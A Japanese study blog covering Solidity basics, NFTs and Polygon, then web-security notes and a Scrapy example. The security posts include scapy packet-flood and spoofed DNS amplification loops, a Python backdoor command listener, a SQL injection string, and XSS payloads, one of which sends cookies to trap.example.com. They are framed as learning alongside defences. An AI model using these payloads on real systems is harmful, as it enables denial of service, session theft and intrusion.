[Ethereum] Solidityの基礎構文 その2

### contractでの宣言

pragma solidity ^0.4.19;

contract ZombieFactory {

    uint dnaDigits = 16;
}

uintは符号なし256ビットinteger(正のみ)、uint8、uint16、 uint32などもある

### 構造体

contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;
    
    struct Zombie {
        string name;
        uint dna;
    }

}

### 配列
solidityには固定長配列と可変長配列がある

uint[2] fixedArray;

string[5] stringArray;

uint[] dynamicArray;
```
publicな配列にすれば、他のコントラクトもこの配列を読める
```
contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;

    struct Zombie {
        string name;
        uint dna;
    }
    Zonbie[] public zombies;

}

### 関数

function eatHumburgers(string _name, uint _amount) {
	
}

eatHamburgers("vitalink", 100)

実例

    function createZombie(string _name, uint _dna){

    }

### 新しい構造体

Person satoshi = Person(20, "Satoshi");
people.push(satoshi)

people.push(Person(15, "akemi"));

関数の中に書く

    function createZombie(string _name, uint _dna) {
        // ここから始めるのだ
        zombies.push(Zombie(_name, _dna));
    }

### Private/Public
publicの関数は誰でもコントラクトの関数を呼び出して実行できる
以下の様に書くと、contract内の他の関数からのみ読み出せる

uint[] numbers;

function _addToArray(uint _number) private {
	numbers.push(_number);
}

privateの関数はアンダーバー(_)で始めるのが通例

    function _createZombie(string _name, uint _dna) private {
        zombies.push(Zombie(_name, _dna));
    }

### 関数の戻り値

string greeting = "what's up dog";

function sayHello() public returns (string) {
	return greeting;
}

関数で変更するにはviewを使う

function sayHello() public view returns (string) {
	return greeting;
}

テスト

    function _generateRandomDna(string _str) private view returns(uint){
        
    }

### Keccak256
ランダムな256ビットの16進数

    function _generateRandomDna(string _str) private view returns (uint) {
        uint rand = uint(keccak256(_str));
        return rand % dnaModulus;
    }

### 統合

    function createRandomZombie(string _name) public {
        uint randDna = _generateRandomDna(_name);
        _createZombie(_name, randDna);
    }

### event
ブロックチェーンで何かが生じた時にフロントエンドに伝えることができる
何かあったときにアクションを実行する

event IntegersAdded(uint x, uint y, uint result);

function add(uint _x, uint _y) public {
	uint result = _x + _y;
	IntegersAdded(_x, _y, result);
	return result;
}

js側

YourContract.IntegersAdded(function(error, result) {
  // 結果について何らかの処理をする
})

テスト

    event NewZombie(uint zombieId, string name, uint dna);

    function _createZombie(string _name, uint _dna) private {
        uint id = zombies.push(Zombie(_name, _dna)) - 1;
        NewZombie(id, _name, _dna);
    }

### フロントエンド

var abi = ""
var ZombieFactoryContract = web3.eth.contract(abi)
var ZombieFactory = ZombieFactoryContract.at(contractAddress)

#("ourButton").click(function(e) {
	var name = $("#nameInput").val()
	ZombieFactory.createRandomZombie(name)
})

var event = ZombieFactory.NewZombie(function(error, result){
	if(error) return
	generateZombie(result.zombieId, result.name, result.dna)
})

function generateZombie(id, name, dna){
	let dnaStr = String(dna)

	while(dnaStr.length < 16)
		dnaStr = "0" + dnaStr

	let zombieDetails = {
		headChoice: dnaStr.substring(0, 2) % 7 + 1,
	    eyeChoice: dnaStr.substring(2, 4) % 11 + 1,
	    shirtChoice: dnaStr.substring(4, 6) % 6 + 1,
	    skinColorChoice: parseInt(dnaStr.substring(6, 8) / 100 * 360),
	    eyeColorChoice: parseInt(dnaStr.substring(8, 10) / 100 * 360),
	    clothesColorChoice: parseInt(dnaStr.substring(10, 12) / 100 * 360),
	    zombieName: name,
	    zombieDescription: "A Level 1 CryptoZombie",
	}

	return zombieDetails
}

なるほど、ゾンビとかふざけ気味だが、中々のものだな

[NFT] mintとは

NFTにおけるMintとはスマートコントラクトを使ってNFTを新たに作成発行すること
NFTマーケットプレイスにアップロードし、オンチェーンになっていることをmintと言う
OpenSeaではMintが使われている

### Matic
Polygonはイーサリアムにおけるセカンドレイヤソリューションの一つ
イーサリアムのスケーラビリティ問題を解決するために作られたプロジェクト
MaticからPolygonにリブランディングされた
高速、低コスト
イーサリアムからは独立したコンセンサスアルゴリズム
zkrollup
様々なDappsやDeFiがPolygonに参入

### NFTにできるコンテンツ
芸術作品、デジタルアート、音楽、土地、ゲーム、映画・アニメ、ライブチケット、ゲームのアイテム

なるほど、モダンな開発では、Polygonベースで作っていくのね

[Security] DoS攻撃

自分の契約しているvpsに自分でパケットを送る

$ pip3 install scapy

from scapy.all import*

source_IP = "*.*.*.*"
target_IP = "*.*.*.*"
source_port = "80"
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt, inter = .001)

   print("paket sent ", i)
   i = i + 1

$ python3 main.py
raise AttributeError(fname)
AttributeError: source_IP

うまくいかんな

違う方法

from scapy.all import *

target = "*.*.*.*"
dns1 = "*.*.*.*"

udp = UDP(dport=53)
dns = DNS(rd=1, qdcount=1, qd=DNSQR(qname="www.google.com", qtype=255))

i = 1

while True:
   ip = IP(src=target, dst=dns1)
   request = (ip/udp/dns)
   send(request)

   print("udp sent ", i)
   i = i + 1

なるほど、while文でパケットを送り続けるのか
ネットワーク周りの知識がかなり必要だな

[Security] ステルスコマンディング

リクエストに不正な命令文を隠しこむことで、WebブラウザからWebアプリケーションに予想外の動作を引き起こす攻撃

a) OSコマンドインジェクション
b) sqlインジェクション
以下のパスワードを入力することでWHERE句全体が常に真(TRUE)となり、正規のパスワードが何であってもログインが成功する

' OR '1'='1

XPATHインジェクション、ディレクトリ検索条件に干渉するLDAPインジェクションなどがある

[Security] バックドアとデバックオプション

システムの裏口のようなもので、認証や正規の手順を踏まずにある機能を直接利用したりするための機能
開発中のバグ修正などを行う
バックドア、デバックオプションを削除せずに運用が開始される場合がある

### サンプル1
http://www.example.co.jp/bank.cgi/?debug=off

http://www.example.co.jp/bank.cgi/?debug=on&from=9876-5432&to=1234-5678&amount=1000000

デバックオフで制御を解除して実行できてしまう
「Gazer」では、コード内の文字列を変化、マーカーをランダム化させ、証拠と思わしきファイルを消去するなど痕跡が残らない巧妙な設計がなされている
アクセスしただけでダウンロードが始まる

### Pythonによるバックドア例
1. バックドアアクセス用のサーバ作成
socket, subprocessを使用する
socketでは、TCPまたはUDPソケットを作成するために使用できる関数も呼び出される
socket.socket関数でソケットw作成する
socket.AF_INET: IPv4指定
socket_STREAM: TCP指定

import socket
def connection():
    global s
    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 4445))
    s.listen(1)
    print("waiting...")
def accept_connections():
    global target
    target, ip_list= s.accept()
    print("connection received from: " + str(ip_list[0]))
def commands():
    while True:
        command= input('command> ')
        bit_encoded_command= str.encode(command)
        if command== 'exit':
            target.send(bit_encoded_command)
            receive= target.recv(1024)
            receive_decoded= bytes.decode(receive, "utf-8")
            print(receive_decoded)
            break
connection()
accept_connections()
commands()

[Security] アプリケーションバッファオーバー

システムが予め確保しているうバッファ領域よりも大きなサイズを送りつけることで、バッファ領域を溢れさせ、バッファ領域外のコードを任意のコードで上書きしてしまう攻撃

例えば、入力フォームで数千文字の数字を入力して送信ボタンを押すと、送り込まれた大量のデータがバッファ領域を超え、バッファ領域外が上書きされてしまうことがある。
各入力フォームの最大長を設定することで防ぐことができる

char *
gets(char *buf)
{
  int c;
  char *s;
  for (s = buf; (c = getchar()) != '\n'; )
    if (c == EOF)
        if (s == buf){
            return (NULL);
        } else
            break;
    else
        *s++ = c;
  *s = '\0';
  return (buf);
}

入力したデータを全て受け取ると、オブジェクトの値が変わることがある

DoS攻撃は、サーバ負荷を増やすための攻撃
なるほど、バリデーションが如何に大事か理解できました

[Security] 強制ブラウズ

強制ブラウズ とは、アドレスバーからURLを直接入力して、非公開のブラウzを強制的に表示させてしまう攻撃

http://www.example.co.jp/some/path/filename.html

この場合、URLを推測してアクセスしてくる場合がある

### コメント
コードのコメントの意味を読み取って、攻撃する場合がある

### 検出方法
– 検索エンジンによる検索
– nikto
– OWASP DirBuster
– ZAP
– wfuzz

OWASP DirBusterの例
ターゲットURLとディレクトリリストを入力すると、見つかったディレクトリ等が表示されれて、ファイルを表示することもできる
ワードプレスのようなOSSの場合はディレクトリ構成が既に判明しているため、攻撃を受けやすい

攻撃方法を専門で研究している人もいるのか…
怖いね

[Security] hiddenフィールドの不正操作

ショッピングサイトにおいて商品の価格をHiddenフィールドに埋め込む

<input type="hidden" name="price" value="40">

このvalueが書き換えられると、より安い値段で決済されてしまうので、商品情報のDB側を値を参照して決済処理しないとsecureにならない

もしくは、hiddenの値が書き換えられてないかチェックする仕組みをcontroller側で実装する

amazonの商品ページのソースコードを見ましたが、priceはinputフィールドに記載がなさそうですね

[Security] URLパラメータの改竄とSniffer

### ユーザ情報等の全件表示
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge

Getパラメータの場合、アスタリスクにすると、全件取得できる場合がある
sample.cgi?user=*

### クロスサイトスクリプティング
受け取ったパラメータをそのまま表示する場合、コードを埋め込むと、コードが実行されてしまう
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge
http://www.example.co.jp/cgi-bin/sample.cgi?user=${コード}

パラメータをHTMLと解釈されないようにエスケープ処理する必要がある

### クロスサイトスクリプティングの例
cookie情報を表示できてしまう

"><script>alert(document.cookie)</script><!--

罠リンク: URLが圧縮されるとわからない

http://<ServerName>/xss_confirm.php?name="><script>alert(document.cookie)</script><!--

セッソンIDを盗む方法

"><script>window.location='http://trap.example.com/trap.php?'+document.cookie;</script><!--

セッション ID を入手したら、セッションIDを利用して Webアプリケーションにアクセスし、なりすましが完成する

### Sniffer
パケット盗聴用のソフト、HTTPS通信の場合は盗聴されない
Wireshark、Python3 + pySerial、nRF Snifferで環境構築ができる
デバイス単位でパケットデータを解析できる

パケットは16進数 ASCII表示

04 3e 20 02 01 04 00 df cd 64 4c 99 b4 14 0a 09  .> ......dL.....
53 65 6e 73 6f 72 54 61 67 05 12 50 00 20 03 02  SensorTag..P. ..
0a 00 ba                

[Python] scrapyによるスクレイピング

scrapyとはweb scraping用のフレームワーク

$ pip3 install scrapy
$ scrapy version
Scrapy 2.5.1
$ scrapy startproject test1

$ cd test1
$ scrapy genspider test2 https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/
Created spider ‘test2’ using template ‘basic’ in module:
test1.spiders.test2

test1/items.py

import scrapy
class Test1Item(scrapy.Item):
    title = scrapy.Field()

test1/spiders/test2.py

import scrapy
from test1.items import Test1Item

class Test2Spider(scrapy.Spider):
    name = 'test2'
    allowed_domains = ['paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/']
    start_urls = ['https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3//']

    def parse(self, response):
        return Test1Item(
        		title = response.css('title').extract_first(),
        	)

$ scrapy crawl test2

BS4で良いじゃんと思ってしまうが、どうなんだろうか。